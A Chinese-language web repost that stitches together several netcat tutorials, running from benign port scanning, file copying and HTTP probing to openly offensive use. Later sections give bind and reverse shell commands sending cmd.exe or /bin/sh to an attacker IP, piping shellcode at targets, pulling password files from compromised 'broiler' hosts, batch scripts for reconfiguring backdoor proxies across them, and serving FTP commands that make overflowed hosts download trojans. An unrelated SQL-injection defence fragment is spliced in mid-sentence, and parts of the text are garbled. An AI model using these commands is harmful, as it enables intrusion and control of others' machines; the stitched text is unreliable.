linux nc命令

參考 :http://www.linuxso.com/command/nc.html


NC 全名 Netcat (網絡刀),作者是 Hobbit && ChrisWysopal。因其功能十分強大,體積小巧而出名,又被大家稱為“瑞士軍刀”。nc - TCP/IP swiss army knife

nc 常用于溢出、反向鏈接、上傳文本等。其實是一個非標準的 telnet 客戶端程序。也是一個 putty.exe 客戶端程序。

socat 是一個 nc 的替代品,可以稱為 nc++。是netcat的N倍加強版。socat 支持的連接方式很多,有 ip、tcp、udp、ipv6、pipe、exec、system、open proxy、openssl 等

功能說明:功能強大的網絡工具

語  法:nc [-hlnruz][-g<網關...>][-G<指向器數目>][-i<延遲秒數>][-o<輸出文件>][-p<通信端口>][-s<來源位址>][-v...][-w<超時秒數>][主機名稱][通信端口...]
參  數:-g<網關>   設置路由器躍程通信網關,最丟哦可設置8個。-G<指向器數目>   設置來源路由指向器,其數值為4的倍數。-h   在線幫助。-i<延遲秒數>   設置時間間隔,以便傳送信息及掃描通信端口。-l   使用監聽模式,管控傳入的資料。-n   直接使用IP地址,而不通過域名服務器。-o<輸出文件>   指定文件名稱,把往來傳輸的數據以16進制字碼傾倒成該文件保存。-p<通信端口>   設置本地主機使用的通信端口。-r   亂數指定本地與遠端主機的通信端口。-s<來源位址>   設置本地主機送出數據包的IP地址。-u   使用UDP傳輸協議。-v   顯示指令執行過程。-w<超時秒數>   設置等待連線的時間。-z   使用0輸入/輸出模式,只在掃描通信端口時使用。[root@hatest1 ~]# type -a nc
nc is /usr/bin/nc
[root@hatest1 ~]# rpm -q nc
nc-1.10-22

1)端口掃描

nc -v -z host.example.com 70-80    #掃描端口(70到80),可指定范圍。-v輸出詳細信息。
nc -v -w 1 192.168.228.222 -z 1-1000
root@~# nc -v -w 2 192.168.2.34 -z 21-24		# 也可以不帶-z參數試下效果
nc: connect to 192.168.2.34 port 21 (tcp) failed: Connection refused
Connection to 192.168.2.34 22 port [tcp/ssh] succeeded!
nc: connect to 192.168.2.34 port 23 (tcp) failed: Connection refused
nc: connect to 192.168.2.34 port 24 (tcp) failed: Connection refusedroot@10.1.1.43:~# nc -v -z -w2 127.0.0.1 1-100
root@10.1.1.43:~# nc -v -w 10 10.1.1.180 80
root@10.1.1.43:~# nc -v -w 10 10.1.1.180 -z 80-30000# 監聽本地端口
root@10.1.1.43:~# nc -l -p 1234 
root@10.1.1.43:~# netstat -tunlp | grep 1234
tcp        0      0 0.0.0.0:1234            0.0.0.0:*               LISTEN      15543/nc# 測試UDP端口
root@172.16.211.34:web# netstat -tunlp
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address               Foreign Address             State       PID/Program name   
tcp        0      0 0.0.0.0:22                  0.0.0.0:*                   LISTEN      1111/sshd           
udp        0      0 0.0.0.0:68                  0.0.0.0:*                               887/dhclient root@172.16.211.35:~# nc -vuz  172.16.211.34 68
Connection to 172.16.211.34 68 port [udp/bootpc] succeeded!nc -p 1234 -w 5 host.example.com 80
建立從本地1234端口到host.example.com的80端口連接,5秒超時
nc -u host.example.com 53
u為UDP連接

2) 遠程拷貝文件

從server1拷貝文件到server2上。
先在server2上,用nc激活監聽,server2上運行:
[root@hatest2 tmp]# nc -lp 1234 > install.logserver1上運行:
[root@hatest1 ~]# ll install.log
-rw-r--r--   1 root root 39693 12月 20   2007 install.log 
[root@hatest1 ~]# nc -w 1 192.168.228.222 1234 < install.log目的主機監聽 
nc -l 監聽端口  > 要接收的文件名
nc -l 4444 > cache.tar.gz
源主機發起請求
nc  目的主機ip    目的端口 
nc  192.168.0.85  4444 
netstat  如下
[root@localhost jiangbao]# netstat -tpln
tcp        0      0 0.0.0.0:4444                0.0.0.0:*                   LISTEN      18166/nc  目錄傳輸
從server1拷貝nginx-0.6.34目錄內容到server2上。
先在server2上,用nc激活監聽,server2上運行:
[root@hatest2 tmp]# nc -l 1234 |tar xzvf -server1上運行:
[root@hatest1 ~]# ll -d nginx-0.6.34
drwxr-xr-x 8 1000 1000 4096 12-23 17:25 nginx-0.6.34
[root@hatest1 ~]# tar czvf - nginx-0.6.34|nc 192.168.228.222 1234從192.168.2.33拷貝文件到192.168.2.34
在192.168.2.34上: nc -l 1234 > test.txt
在192.168.2.33上: nc 192.168.2.34 < test.txt克隆硬盤或分區
操作與上面的拷貝是雷同的,只需要由dd獲得硬盤或分區的數據,然后傳輸即可。
克隆硬盤或分區的操作,不應在已經mount的的系統上進行。
所以,需要使用安裝光盤引導后,進入拯救模式(或使用Knoppix工具光盤)啟動系統后,
在server2上進行類似的監聽動作:
# nc -l -p 1234 | dd of=/dev/sda
server1上執行傳輸,即可完成從server1克隆sda硬盤到server2的任務:
# dd if=/dev/sda | nc 192.168.228.222 1234

3) 簡單聊天工具

在192.168.2.34上: nc -l 1234
在192.168.2.33上: nc 192.168.2.34 1234
這樣,雙方就可以相互交流了。使用ctrl+C(或D)退出。nc -l 1234
nc 127.0.0.1 1234
在端口1234建立連接,互相發送輸入

4) 保存Web頁面

# while true; do nc -l -p 80 -q 1 < somepage.html; done

5) 模擬HTTP Headers

[root@hatest1 ~]# nc www.linuxfly.org 80 GET / HTTP/1.1 Host: ispconfig.org Referrer: mypage.com User-Agent: my-browser
HTTP/1.1 200 OK Date: Tue, 16 Dec 2008 07:23:24 GMT Server: Apache/2.2.6 (Unix) DAV/2 mod_mono/1.2.1 mod_python/3.2.8 Python/2.4.3 mod_perl/2.0.2 Perl/v5.8.8 Set-Cookie: PHPSESSID=bbadorbvie1gn037iih6lrdg50; path=/ Expires: 0 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Cache-Control: private, post-check=0, pre-check=0, max-age=0 Set-Cookie: oWn_sid=xRutAY; expires=Tue, 23-Dec-2008 07:23:24 GMT; path=/ Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html [......]在nc命令后,輸入紅色部分的內容,然后按兩次回車,即可從對方獲得HTTP Headers內容。echo -n "GET / HTTP/1.0"r"n"r"n" | nc host.example.com 80
連接到主機并執行

6) 用nc命令操作memcached

1)存儲數據:printf “set key 0 10 6rnresultrn” |nc 192.168.2.34 11211
2)獲取數據:printf “get keyrn” |nc 192.168.2.34 11211
3)刪除數據:printf “delete keyrn” |nc 192.168.2.34 11211
4)查看狀態:printf “statsrn” |nc 192.168.2.34 11211
5)模擬top命令查看狀態:watch “echo stats” |nc 192.168.2.34 11211
6)清空緩存:printf “flush_allrn” |nc 192.168.2.34 11211 (小心操作,清空了緩存就沒了)

教程2

來源:http://blog.csdn.net/xysoul/article/details/52270149

nc的使用方法

netcat被譽為網絡安全界的‘瑞士軍刀’,相信沒有什么人不認識它吧......
一個簡單而有用的工具,透過使用TCP或UDP協議的網絡連接去讀寫數據。它被設計成一個穩定的后門工具,能夠直接由其它程序和腳本輕松驅動。同時,它也是一個功能強大的網絡調試和探測工具,能夠建立你需要的幾乎所有類型的網絡連接,還有幾個很有意思的內置功能(詳情請看下面的使用方法)。?

在中國,它的WINDOWS版有兩個版本,一個是原創者Chris?Wysopal寫的原版本,另一個是由‘紅與黑’編譯后的新‘濃縮’版。‘濃縮’版的主程序只有10多KB(10多KB的NC是不能完成下面所說的第4、第5種使用方法,有此功能的原版NC好象要60KB:P),雖然“體積”小,但很完成很多工作。


軟件介紹:

工具名:Netcat
作者:Hobbit?&&?Chris?Wysopal
網址:
http://www.atstake.com/research/tools/network_utilities/
類別:開放源碼
平臺:Linux/BSD/Unix/Windows?
WINDOWS下版本號:[v1.10?NT]

參數介紹:

nc.exe?-h即可看到各參數的使用方法。
基本格式:nc?[-options]?hostname?port[s]?[ports]?...
nc?-l?-p?port?[options]?[hostname]?[port]

-d?后臺模式
-e?prog?程序重定向,一旦連接,就執行?[危險!!]
-g?gateway?source-routing?hop?point[s],?up?to?8
-G?num?source-routing?pointer:?4,?8,?12,?...
-h?
幫助信息
-i?secs?延時的間隔
-l?監聽模式,用于入站連接 (監聽本地端口)
-L?連接關閉后,仍然繼續監聽
-n?指定數字的IP地址,不能用hostname
-o?file?記錄16進制的傳輸
-p?port?本地端口號 (指定本地端口?)
-r?隨機本地及遠程端口
-s?addr?本地源地址
-t?使用TELNET交互方式(用telnet來回應?)
-u?UDP模式
-v?詳細輸出--用兩個-v( -vv)可得到更詳細的內容.?獲得端口信息
-w?secs?timeout的時間
-z?將輸入輸出關掉--用于掃描時.?
端口的表示方法可寫為M-N的范圍格式。


基本用法:

大概有以下幾種用法:

1)連接到REMOTE主機,例子:
格式:nc?-nvv?192.168.x.x?80
講解:連到192.168.x.x的TCP80端口


2)監聽LOCAL主機,例子:
格式:nc?-l?-p?80
講解:監聽本機的TCP80端口


3)掃描遠程主機,例子:
格式:nc?-nvv?-w2?-z?192.168.x.x?80-445
講解:掃描192.168.x.x的TCP80到TCP445的所有端口


4)REMOTE主機綁定SHELL,例子:
格式:nc?-l?-p?5354?-t?-e?c:winntsystem32cmd.exe
講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354端口


5)REMOTE主機綁定SHELL并反向連接,例子:
格式:nc?-t?-e?c:winntsystem32cmd.exe?192.168.x.x?5354
講解:綁定REMOTE主機的CMDSHELL并反向連接到192.168.x.x的TCP5354端口


以上為最基本的幾種用法(其實NC的用法還有很多,
當配合管道命令“|”與重定向命令“<”、“>”等等命令功能更強大......)。

高級用法:

6)作攻擊程序用,例子:
格式1:type.exe?c:exploit.txt|nc?-nvv?192.168.x.x?80
格式2:nc?-nvv?192.168.x.x?80?<?c:exploit.txt
講解:連接到192.168.x.x的80端口,并在其管道中發送c:exploit.txt的內容(兩種格式確有相同的效果,真是有異曲同工之妙:P)

附:c:exploit.txt為shellcode等


7)作蜜罐用[1],例子:
格式:nc?-L?-p?80
講解:使用-L(注意L是大寫)可以不停地監聽某一個端口,直到ctrl+c為止.


8)作蜜罐用[2],例子:
格式:nc?-L?-p?80?>?c:log.txt
講解:使用-L可以不停地監聽某一個端口,直到ctrl+c為止,同時把結果輸出到c:log.txt中,如果把‘>’改為‘>>’即可以追加日志。

附:c:log.txt為日志等


9)作蜜罐用[3],例子:
格式1:nc?-L?-p?80?<?c:honeypot.txt
格式2:type.exe?c:honeypot.txt|nc?-L?-p?80

講解:使用-L可以不停地監聽某一個端口,直到ctrl+c為止,并把c:honeypot.txt的內容‘送’入其管道中如果攻擊者知道應用會將表單中輸入的內容直接用于驗證身份的查詢,他就會嘗試輸入某些特殊的SQL字符串篡改查詢改變其原來的功能,欺騙系統授予訪問權限。系統環境不同,攻擊者可能造成的損害也不同,這主要由應用訪問數據庫的安全權限決定。如果用戶的帳戶具有管理員或其他比較高級的權限,攻擊者就可能對數據庫的表執行各種他想要做的操作,包括添加、刪除或更新數據,甚至可能直接刪除表。

二、如何防范?
好在要防止ASP.NET應用被SQL注入式攻擊闖入并不是一件特別困難的事情,只要在利用表單輸入的內容構造SQL命令之前,把所有輸入內容過濾一番就可以了。過濾輸入內容可以按多種方式進行。

⑴ 對于動態構造SQL查詢的場合,可以使用下面的技術:

第一:替換單引號,即把所有單獨出現的單引號改成兩個單引號,防止攻擊者修改SQL命令的含義。再來看前面的例子,“Select * from Users Where login = or 1=1 AND password = or 1=1”顯然會得到與“Select * from Users Where login = or 1=1 AND password = or 1=1”不同的結果。

第二:刪除用戶輸入內容中的所有連字符,防止攻擊者構造出類如“Select * from Users Where login = mas -- AND password =”之類的查詢,因為這類查詢的后半部分已經被注釋掉,不再有效,攻擊者只要知道一個合法的用戶登錄名稱,根本不需要知道用戶的密碼就可以順利獲得訪問權限。

第三:對于用來執行查詢的數據庫帳戶,限制其權限。用不同的用戶帳戶執行查詢、插入、更新、刪除操作。由于隔離了不同帳戶可執行的操作,因而也就防止了原本用于執行Select命令的地方卻被用于執行Insert、Update或Delete命令。

⑵ 用存儲過程來執行所有的查詢。SQL參數的傳遞方式將防止攻擊者利用單引號和連字符實施攻擊。此外,它還使得數據庫權限可以限制到只允許特定的存儲過程執行,所有的用戶輸入必須遵從被調用的存儲過程的安全上下文,這樣就很難再發生注入式攻擊了。

⑶ 限制表單或查詢字符串輸入的長度。如果用戶的登錄名字最多只有10個字符,那么不要認可表單中輸入的10個以上的字符,這將大大增加攻擊者在SQL命令中插入有害代碼的難度。

⑷ 檢查用戶輸入的合法性,確信輸入的內容只包含合法的數據。數據檢查應當在客戶端和服務器端都執行——之所以要執行服務器端驗證,是為了彌補客戶端驗證機制脆弱的安全性。

在客戶端,攻擊者完全有可能獲得網頁的源代碼,修改驗證合法性的腳本(或者直接刪除腳本),然后將非法內容通過修改后的表單提交給服務器。因此,要保證驗證操作確實已經執行,唯一的辦法就是在服務器端也執行驗證。你可以使用許多內建的驗證對象,例如RegularExpressionValidator,它們能夠自動生成驗證用的客戶端腳本,當然你也可以插入服務器端的方法調用。如果找不到現成的驗證對象,你可以通過CustomValidator自己創建一個。

⑸ 將用戶登錄名稱、密碼等數據加密保存。加密用戶輸入的數據,然后再將它與數據庫中保存的數據比較,這相當于對用戶輸入的數據進行了“消毒”處理,用戶輸入的數據不再對數據庫有任何特殊的意義,從而也就防止了攻擊者注入SQL命令。System.Web.Security.formsAuthentication類有一個HashPasswordForStoringInConfigFile,非常適合于對輸入數據進行消毒處理。

⑹ 檢查提取數據的查詢所返回的記錄數量。如果程序只要求返回一個記錄,但實際返回的記錄卻超過一行,那就當作出錯處理。


第一個:?
nc -l -v -p 7626?
這就是打開本地的7626端口進行監聽,并反饋連接信息這樣如果有掃描冰河木馬的人會認為你中了木馬開放了7626,和“小豬快跑”的功能有點象,再加個批處理文件一起用的話就是一個“小豬快跑”了

如果要監視是否有入侵本地80端口的行為,并記下來,用這個命令:?
nc -l -p 80 >>c:\\日志.dat?
這樣,凡是有針對本機80端口的攻擊都會被記錄下來的


二、?
如果你通過溢出進入了別人的機器,就可以運行:?
nc -l -p 123 -e cmd.exe?
或者是: nc -l -p 123 -t?
作用都是以cmd.exe來響應到機器上123端口的連接?
這樣就把溢出的主機變成了一臺telnet肉雞了啊?
你也可一用命令讓肉雞主動連接你的主機,假設我的IP是192.168.0.1?
在肉雞上運行: nc -e cmd.exe 192.168.0.1 777?
再在本地機器上運行: nc -l -p 777?
意思是讓肉雞將cmd.exe(就是個shell)主動響應到你電腦的777端口?
你再在本地機上監聽777端口,這樣就進入了對方的cmd了?
這也就是反彈端口式木馬的原理了。


三、?
用這個命令:?
nc -v 192.168.0.25 80?
就獲得了192.168.0.25的80端口的信息?
可以獲得IIS版本等很多重要信息 的

四、?
你也可以將NC作為掃描器使用:?
nc -v -z 192.168.0.25 1-100?
掃描192.168.0.25的1到100間的TCP端口

用nc -v -z -u 192.168.0.25 1-100?
這是掃描1到00間的UDP端口

?

3.1.端口的刺探:

nc -vv ip port?
RIVER [192.168.0.198] 19190 (?) open //顯示是否開放open


3.2.掃描器

nc -vv -w 5 ip port-port port?
nc -vv -z ip port-port port

  這樣掃描會留下大量的痕跡,系統管理員會額外小心。

3.3. 后門

victim machine: //受害者的機器?
nc -l -p port -e cmd.exe //win2000?
nc -l -p port -e /bin/sh //unix,linux?
attacker machine: //攻擊者的機器.?
nc ip -p port //連接victim_IP,然后得到一個shell。


3.4.反向連接?
attacker machine: //一般是sql2.exe,遠程溢出,webdavx3.exe攻擊.?
//或者wollf的反向連接.?
nc -vv -l -p port?
victim machine:?
nc -e cmd.exe attacker ip -p port?
nc -e /bin/sh attacker ip -p port

或者:

attacker machine:?
nc -vv -l -p port1 ?
nc -vv -l -p prot2 ?
victim machine:?
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2?
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2


  139要加參數-s(nc.exe -L -p 139 -d -e cmd.exe -s 對方機器IP),這樣就可以保證nc.exe優先于NETBIOS。

3.5.傳送文件:

3.5.1 attacker machine <-- victim machine //從肉雞拖密碼文件回來.?
nc -d -l -p port < path\filedest     可以shell執行?
nc -vv attacker_ip port > path\file.txt 需要Ctrl+C退出?
//肉雞需要gui界面的cmd.exe里面執行(終端登陸,不如安裝FTP方便).否則沒有辦法輸入Crl+C.

3.5.2 attacker machine --> victim machine //上傳命令文件到肉雞?
nc -vv -l -p port > path\file.txt      需要Ctrl+C退出?
nc -d victim_ip port < path\filedest   可以shell執行?
//這樣比較好.我們登陸終端.入侵其他的肉雞.可以選擇shell模式登陸.


 3.6 端口數據抓包.

nc -vv -w 2 -o test.txt xfocus.Net?80 21-15

< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error?
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr?
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...?
< 00000084 83 00 00 01 8f # .....


3.7 telnet,自動批處理。

nc victim_ip port < path\file.cmd   顯示執行過程.?
nc -vv victim_ip port < path\file.cmd   顯示執行過程.

nc -d victim_ip port < path\file.cmd 安靜模式.

_______________file.cmd________________________?
password?
cd %windir%?
echo []=[%windir%]?
c:?
cd \?
md test?
cd /d %windir%\system32\?
net stop sksockserver?
snake.exe -config port 11111?
net start sksockserver?
exit?
_______________file.cmd__END___________________


########################################?
4. 管理肉雞,更改肉雞設置?
########################################

4.1 比如要統一更改肉雞上面的代理端口.snake.exe 修改為11111 服務名稱"sksockserver",使用winshell后門. 端口1234 密碼password

命令格式就是:

modi.bat youip.txt

___________modi.bat____

________________________?
@if "%1"=="" echo Error: no ip.txt &&goto END

:start?
@echo password >a.cmd?
@echo s >>a.cmd?
@echo cd /d %%windir%%\system32\ >>a.cmd?
@net stop "sksockserver" >>a.cmd?
@snake.exe -config port 11111 >>a.cmd?
@net start "sksockserver" >>a.cmd?
@exit >>a.cmd

:auto?
@for /f "eol=; tokens=1,2" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd)

:END?
___________modi.bat__END_______________________


4.2?
@echo off?
color f0?
:start?
cls?
C:\nc -vv -w 3 -l -p 80>>80.txt?
goto start


  把防火墻關掉以后運行這個批處理,會監聽到許多探測U漏洞的信息,大多是三條一組--妮姆達病毒掃描你的。這樣就會得到肉雞的.雖然質量不高.但是也是一種便宜的辦法.

  肉雞特征:

  1。unicode漏洞?
  2。guest密碼為空,administrators組用戶?
  3。其他漏洞

一、基本使用:

Quack# nc -h?
[v1.10]?
  想要連接到某處: nc [-options] hostname port [ports] ...?
  綁定端口等待連接:   nc -l -p port [-options] [hostname] [port]?
  參數:?
    -e prog         程序重定向,一旦連接,就執行 [危險!!]?
    -g gateway       source-routing hop point, up to 8?
    -G num         source-routing pointer: 4, 8, 12, ...?
    -h           幫助信息?
    -i secs         延時的間隔?
    -l           監聽模式,用于入站連接?
    -n           指定數字的IP地址,不能用hostname?
    -o file         記錄16進制的傳輸?
    -p port         本地端口號?
    -r           任意指定本地及遠程端口?
    -s addr         本地源地址?
    -u           UDP模式?
    -v   

        詳細輸出——用兩個-v可得到更詳細的內容?
    -w secs         timeout的時間?
    -z           將輸入輸出關掉——用于掃描時


  其中端口號可以指定一個或者用lo-hi式的指定范圍。


二、用于傳輸文件——ncp

#! /bin/sh?
## 類似于rcp,但是是用netcat在高端口做的?
## 在接收文件的機器上做"ncp targetfile"?
## 在發送文件的機器上做"ncp sourcefile receivinghost"?
## 如果調用了 "nzp" ,會將傳輸文件壓縮

## 這里定義你想使用的端口,可以自由選擇?
MYPORT=23456

## 如果nc沒有在系統路徑中的話,要把下面一行注釋去掉,加以修改?
# PATH=$:$ ; export PATH

## 下面這幾行檢查參數輸入情況:

test "$3" && echo "too many args" && exit 1?
test ! "$1" && echo "no args?" && exit 1?
me=`echo $0 | sed s+.*/++`?
test "$me" = "nzp" && echo [compressed mode]

# if second arg, its a host to send an [extant] file to.?
if test "$2" ; then?
test ! -f "$1" && echo "cant find $1" && exit 1?
if test "$me" = "nzp" ; then?
  compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0?
else?
  nc -v -w 2 $2 $MYPORT < "$1" && exit 0?
fi?
echo "transfer FAILED!"?
exit 1?
fi

# 是否在接收文件機器當前目錄有同名文件

if test -f "$1" ; then?
echo -n "Overwrite $1? "?
read aa?
test ! "$aa" = "y" && echo "[punted!]" && exit 1?
fi?
# 30 seconds oughta be pleeeeenty of time, but change if you want.?
if test "$me" = "nzp" ; then?
# 注意這里nc的用法,結合了重定向符號和管道?
nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c > "$1" && exit 0?
else?
nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0?
fi?
echo "transfer FAILED!"?
# clean up, since even if the transfer failed, $1 is already trashed?
rm -f "$1"?
exit 1

這樣的話,我只要在A機器上先 QuackA# ncp ../abcd?
listening on 然后在另一臺機器B上?
QuackB#ncp abcd 192.168.0.2?
quackb [192.168.0.1] 23456 (?)?
A機上出現?
open connect to [192.168.0.2] from quackb [192.168.0.1] 1027?
#

  查看一下,文件傳輸完畢。

===========================================================================
【本地運行】nc -v ip port
【命令解釋】掃瞄某 IP 的某個端口,返回信息詳細輸出。
===========================================================================
【本地運行】nc -v -z ip port-port
【命令解釋】掃描某IP的端口到某端口,返回信息詳細輸出,但掃描速度較慢。
===========================================================================
【本地運行】nc -v -z -u ip  port-port
【命令解釋】掃描某 IP 的某 UDP 端口到某 UDP 端口,返回信息詳細輸出,但掃描速度較慢。
===========================================================================
【本地運行】nc -l -p 80 
【命令解釋】開啟本機的 TCP 80 端口并監聽。
===========================================================================
【本地運行】nc -l -v -p 80
【命令解釋】開啟本機的 TCP 80 端口并將監聽到的信息輸出到當前 CMD 窗口。
===========================================================================
【本地運行】nc -l -p 80 > E:/log.dat
【命令解釋】開啟本機的 TCP 80 端口并將監聽到的信息輸出到 E:/log.dat 下的日志文件里。
===========================================================================
【本地運行】nc -nvv 192.168.1.101 80 
【命令解釋】連接到192.168.1.101主機的 80 端口。
===========================================================================
【本地運行】nc -nvv -w2 -z 192.168.1.101 80-1024 
【命令解釋】掃錨192.168.1.101的80-1024端口,連接超時時間為2秒。
===========================================================================
【遠程運行】nc -l -p 2012 -t -e cmd.exe
【本地運行】nc -nvv 192.168.1.101 2012
【命令解釋】采用正向連接方式,遠程主機(注:假設IP地址為 192.168.1.101)上運行 nc -l -p 2012 -t -e cmd.exe 意為綁定遠程主機的 CMD 到2012 端口,當本地主機連接遠程主機成功時就會返回給本地主機一個CMD Shell ;在本地主機上運行 nc -nvv 192.168.1.101 2012 用于連接已經將 CMD 重定向到 2012 端口的遠程主機(注:假設IP地址為 192.168.1.101)。
===========================================================================
【本地運行】nc -l -p 2012
【遠程運行】nc -t -e cmd.exe 192.168.1.102 2012
【命令解釋】采用反向連接方式,先在本地主機運行 nc -l -p 2012 開啟本地主機的(注:假設IP地址為 192.168.1.102)2012 端口并監聽等待遠程主機連接;在遠程主機上運行 nc -t -e cmd.exe 192.168.1.102 2012 將遠程主機的 CMD 重定向到 IP 地址為 192.168.1.102 端口號為2012 的主機上,連接成功后 IP 地址為 192.168.1.102 的主機會得到一個CMD Shell。
===========================================================================
【本地運行】nc -v -n ip port < C:/sunzn.exe
【遠程運行】nc -v -l -p port > D:/sunzn.exe
【命令解釋】在本地運行 nc -v -n ip port < C:/sunzn.exe 意為從本地 C 盤根目錄中讀取 sunzn.exe 文件的內容,并把這些數據發送到遠程主機的對應端口上(注:命令行中的 IP 為接收文件的遠程主機 IP ),在遠程主機運行 nc -v -l -p port > D:/sunzn.exe 意為監聽對應端口并把接收到的信息數據寫到 D:/sunzn.exe 中,兩行命令實現了文件在本地主機和遠程主機間的傳輸。
===========================================================================
【本地運行】nc -L -p 8989<C:\ftp.txt ( ftp.txt 中為FTP自動下載命令)
【命令解釋】不停地監聽 8989 端口,并把 C:\ftp.txt  中的內容發給任何一臺連接本機 8989 端口的主機,可起到傳送文件作用(此用法經常用于反向溢出)。溢出遠程主機時,一旦溢出的遠程主機連接本地主機 8989 端口,遠程主機就會自動用 FTP 下載指定的文件,如木馬。
===========================================================================
寫一篇簡單一點的使用教程:
命令1:監聽命令
nc -l -p port
nc -l -p port > e:\log.dat
nc -l -v -p port
參數解釋:
-l:監聽端口,監聽入站信息
-p:后跟本地端口號
-v:顯示端口的信息,如果使用-vv的話,則會顯示端口更詳細的信息
提示:一般大家都愛用-vvnc -l -p 80
這個很簡單,監聽80端口
如果機器上運行這個命令,端口80被認為是開放的,可以欺騙掃描器nc -l -p 80 > e:\log.dat
將詳細信息寫入E盤log.dat的日志文件nc -l -v -p 80
和上邊命令相似,會直接顯示信息在運行著NC的屏幕上。
實踐:
例如:nc -l -v -p 80
然后在瀏覽器中輸入本機IP:127.0.0.1命令2:程序定向(反彈shell的方法)
nc -l -p port -t -e cmd.exe
本地機: nc -l -p port 或 nc -l -v -p port
目標機:nc -e cmd.exe ip port
參數解釋:
-l、-p兩個參數已經解釋過了
-e;作用就是程序定向
-t:以telnet的形式來應答
例子
nc -l -p 5277 -t -e cmd.exe
千萬不要運行在自己的機器上,如果運行了,你機器就會變成一臺TELNET的服務器了。
命令解釋為:監聽本地端口5277的入站信息,同時將CMD.exe這個程序,重定向到端口5277上,當有人連接的時候,就讓程序CMD.exe以TELNET的形式來響應連接要求。
說白了,其實就是讓他成為一臺TELNET的肉雞,所以這個命令要運行在你的肉雞上。例如用法:
local machine:nc -l -p port ( or nc -l -v -p port )
remote machine:nc -e cmd.exe ip port
大家知道灰鴿子和神偷吧,這兩款工具都是利用了反彈端口型的木馬,
什么叫反彈端口?
就是說,當對方中馬后,不用你主動和對方連接,也就是說不用從你的client端向對方主機上運行的server端發送請求連接,而是對方主動來連接你這樣就可以使很多防火墻失效,因為很多防火墻都不檢查出站請求的。這里這兩個命令結合在一起后,于那兩款木馬可以說有異曲同工之效。本地運行:nc -l -p 5277 (監聽本地5277端口)或者 nc -l -v -p 5277
然后在遠程機器上,想辦法運行 nc -e cmd.exe ip 5277
(你可別真的打“ip”在肉雞上啊)要打,xxx.xxx.xxx.xxx這樣!!
這樣就是反彈~~在本地機器上得到了一個SHELL
命令3:掃描端口
nc -v ip port
nc -v -z ip port-port
nc -v -z -u ip port-port
參數解釋:
-z:將輸入輸出關掉,在掃描時使用
nc -v ip port
這個命令是針對某一個端口進行掃描
例如:
nc -v ip 135
掃描遠程主機的135端口,這樣獲得了該端口的一些簡單信息,但是針對某些端口,我們還可以獲得更多的信息
例如:80端口
我們可以使用nc -v ip 80 然后使用get方法來獲得對方的WEB服務器的信息
nc -v -z ip port-port
這個命令是用來掃描的一個命令,這個命令用于快速掃描TCP端口,而port-port則是指定了掃描的端口范圍
例如:
nc -v -z ip 1-200
可以看到我機器上的1-200的TCP端口的開放情況
nc -v -z -u ip port-port
這個命令比上個命令多了個-u,這個命令的作用仍然是掃描端口,只是多了一個-u的參數,是用來掃UDP端口的
例如:
nc -v -z -u ip 1-200
這個命令就會掃1-200的UDP端口
命令4:傳送文件(HOHO,I LIKE)
LOCAL MACHINE:nc -v -n ip port < x:\svr.exe
REMOTE MACHINE:nc -v -l -p port > y:\svr.exe
參數解釋:
-n:指定數字的IP地址
這兩個命令結合起來是用來傳送文件的
首先,在遠程機上運行命令:
nc -v -l -p 5277 > c:\pulist.exe
這個命令還記的嗎?呵呵,是不是和監聽命令有點類似,對,沒錯,這個是監聽5277端口
并把接受到的信息數據寫到c:\pulist.exe中
這時候在本地機上運行
nc -v -n ip 5277 < e:\hack\pulist.exe
這個命令的意思就是,從本地E盤跟目錄中讀取pulist.exe文件的內容,并把這些數據發送到ip的5277端口上
這樣遠程主機就會自動創建一個pulist.exe文件。





本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/260113.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/260113.shtml
英文地址,請注明出處:http://en.pswp.cn/news/260113.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

收藏一些自己認為好的網站或博客

月光博客 seo每天一貼 虎嗅網 李巖的博客 中郵閱讀網&#xff0c;專門看電子期刊的&#xff0c;很不錯的免費閱讀期刊網。 seay web安全技術博客: http://www.cnseay.com 陸陸續續編輯中... 轉載于:https://www.cnblogs.com/caoyuanzhanlang/archive/2013/01/05/2846086.html

shell 判斷字符串相等_編程小短文:Bash子字符串還在用==?試試=~性能瞬間飆升100倍...

引言Bash 是 Linux 系統下欽定的 shell。你可以通過cat /etc/shells查看當前系統支持的 shell 種類。Bash 不但是系統管理員與內核交互的利器&#xff0c;且是一種語言&#xff0c;可以編寫大多數系統的自動化腳本&#xff0c;用于簡化運維工作。今天我們學習一個知識點&#x…

linux系統聯網命令,Linux系統常用的網絡命令及使用方法

Linux系統常用的網絡命令及使用方法Linux是一套免費使用和自由傳播的類Unix操作系統&#xff0c;是一個基于POSIX和UNIX的多用戶、多任務、支持多線程和多CPU的操作系統。下面小編整理了Linux系統常用的網絡命令及使用方法&#xff0c;希望對大家有幫助!1、pingping命令工作在O…

Xss Csrf 簡介

一、Js在web的執行環境 1.直接觸發 ?在HTML頁中插入<script></script>腳本標記。JS嵌入到HTML中的兩種方式&#xff1a; ?1&#xff09;直接嵌入<script>標簽 <script language“javascript”> document.write(“hello world!”); </script> ?…

Cracking the Coding Interview 5.2

Given a(decimal -e.g. 3.72)number that is passed in as a string, print the binary representation. If the number can not be represented accurately in binary, print "ERROR" 整數部分&#xff1a; 對2取余&#xff0c;然后向右移動一位&#xff0c;重復直到…

python的render函數_帶函數return的Flask render_模板

